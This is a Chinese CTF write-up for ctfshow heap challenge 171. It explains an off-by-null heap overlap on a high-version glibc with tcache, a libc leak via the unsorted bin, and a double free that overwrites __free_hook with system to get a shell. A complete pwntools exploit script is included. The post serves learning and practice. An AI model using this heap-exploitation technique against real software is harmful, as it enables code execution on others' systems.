高版本Tcache+off-by-one

引言

这题还是来自ctfshow上面的堆利用题目-171。不算特别难,但是因为他是高版本+ctfshow给的wp太复杂,所以我来写写我的思路。

思路

利用off-by-one实现堆向前重叠,在通过不断割掉unsortbins里面的chunk块达到泄露libc基地址,后面来利用前面的堆重叠来实现doule free将chunk申请到__free_hook上面将其修改为system,最后getshell。

分析

保护全开

main函数,经典菜单题,没有edit函数。感觉基本上漏洞点肯定在add()函数里面

delete函数,指针置0了没有uaf

add函数,存在off-by-null,而且只给申请15个chunk

结合exp分析

先把tcache填满,申请的大小必须大于0xf0,因为off-by-null会将低位修改为0,如果你是0x90就会变成0x00

    for i in range(7):
        add(0xf0,i,'AAAA')

    add(0xf0,7,'B')
    add(0x18,8,'B')
    add(0xf0,9,'B')
    add(0x28,10,'B')

    for i in range(7):
        delete(i)

把序号为8的chunk的pre_size位修改为0x100,同时序号为7的chunk进入到unsortbins里面(此时需要将其的fd和bk指针给到序号为8的chunk),制造假chunk头,0x120为前面序号为7和8的chunk大小和

    delete(7)
    delete(8)
    add(0x18,8,b'a'*0x10 + p64(0x120))#制造假chunk头,0x120为前面序号为7和8的chunk大小和,把序        
    号为9的chunk的pre_size位修改为0x100

此时的内存对应的chunk序号为8

堆重叠,此时合并序号为7,8,9的chunk进入到unsortbins里面(但其实序号为8的chunk根本没有free,可供我们利用),大小为0x220,两次申请特殊大小的chunk,从unsortbins里面分割出来chunk其大小为序号为7的chunk,这样就可以将其fd和bk指针给到0x55c0a9334a60处。为什么不直接申请0xf0,因为直接申请bins会将tcache里面的chunk给你。包括第二个chunk的size为0x20,这是为后面doule free做准备。本人也是无意之间做到的,实属运气加成了。

    delete(9)#堆向前合并掉序号为8的chunk
    add(0xc0,7,'B')#这两个chunk的大小加起来正好等于序号为7的chunk
    add(0x20,9,'B')#此chunk的大小必须为属于序号为8的chunk的大小

show序号为8的chunk就可以得到unsortbins_addr,

    show(8)
    
    leak_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    log.info(f"leak_addr = {hex(leak_addr)}")

    __malloc_hook = leak_addr - 0x60-0x10
    
    libc_base = __malloc_hook - libc.sym["__malloc_hook"]
    log.info(f"libc_base = {hex(libc_base)}")
    fake_chunk = __malloc_hook -0x23

    free_hook = libc_base + libc.sym['__free_hook']
    log.info(f"free_hook  = {hex(free_hook)}")
    system = libc_base + libc.sym['system']
    log.info(f"system  = {hex(system)}")

日志结果

此时想办法将free_hook修改为system。将堆重叠的那块区域给申请出来。这样就可以构成double free

     add(0x18,11,'a')#分割unsortbins的大小。其实是为了让序号为8的那块chunk归我所用

    delete(8)
    delete(11)#double free

查看bins,可以看到大小为0x20的形成了双链结构

最后就是正常的步骤

    add(0x8,8,p64(free_hook))#将其的fd指针指向free_hook

    add(0x18,11,'/bin/sh\x00')#将0x55cd056ba60的chunk申请掉
    add(0x18,12,p64(system))#将__free_hook修改为system的地址

    delete(11)

最后getshell

最后完整的exp
def add(size,index,name):
        io.sendlineafter('Your Choice:','1')
        io.sendlineafter('Index: ',str(index))
        io.sendlineafter('Size: ',str(size))
        io.sendafter('Content',name)

    def delete(index):
        io.sendlineafter('Your Choice:','2')
        io.sendlineafter('Index:',str(index))

    def show(index):
        io.sendlineafter('Your Choice:','3')
        io.sendlineafter('Index:',str(index))
    
    for i in range(7):
        add(0xf0,i,'AAAA')

    add(0xf0,7,'B')#此chunk需要和前面的chunk大小保持一直
    add(0x18,8,'B')
    add(0xf0,9,'B')#此chunk的大小至少为0xf0,因为off-by-null会将低位修改为0。
    add(0x28,10,'B')

    for i in range(7):
        delete(i)
    
    delete(7)
    delete(8)
    add(0x18,8,b'a'*0x10 + p64(0x120))#制造假chunk头,0x120为前面序号为7和8的chunk大小和,把        序号为9的chunk的pre_size位修改为0x100

    delete(9)#堆向前合并掉序号为8的chunk
    add(0xc0,7,'B')#这两个chunk的大小加起来正好等于序号为7的chunk
    add(0x20,9,'B')#此chunk的大小必须为属于序号为8的chunk的大小

    show(8)

    leak_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    log.info(f"leak_addr = {hex(leak_addr)}")

    __malloc_hook = leak_addr - 0x60-0x10
    
    libc_base = __malloc_hook - libc.sym["__malloc_hook"]
    log.info(f"libc_base = {hex(libc_base)}")
    fake_chunk = __malloc_hook -0x23

    free_hook = libc_base + libc.sym['__free_hook']
    log.info(f"free_hook  = {hex(free_hook)}")
    system = libc_base + libc.sym['system']
    log.info(f"system  = {hex(system)}")

    add(0x18,11,'a')#分割unsortbins的大小。其实是为了让序号为8的那块chunk归我所用

    delete(8)
    delete(11)#double free

    add(0x8,8,p64(free_hook))#将其的fd指针指向free_hook

    add(0x18,11,'/bin/sh\x00')#将0x55cd056ba60的chunk申请掉
    add(0x18,12,p64(system))#将__free_hook修改为system的地址

    delete(11)
 
exp()  

io.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值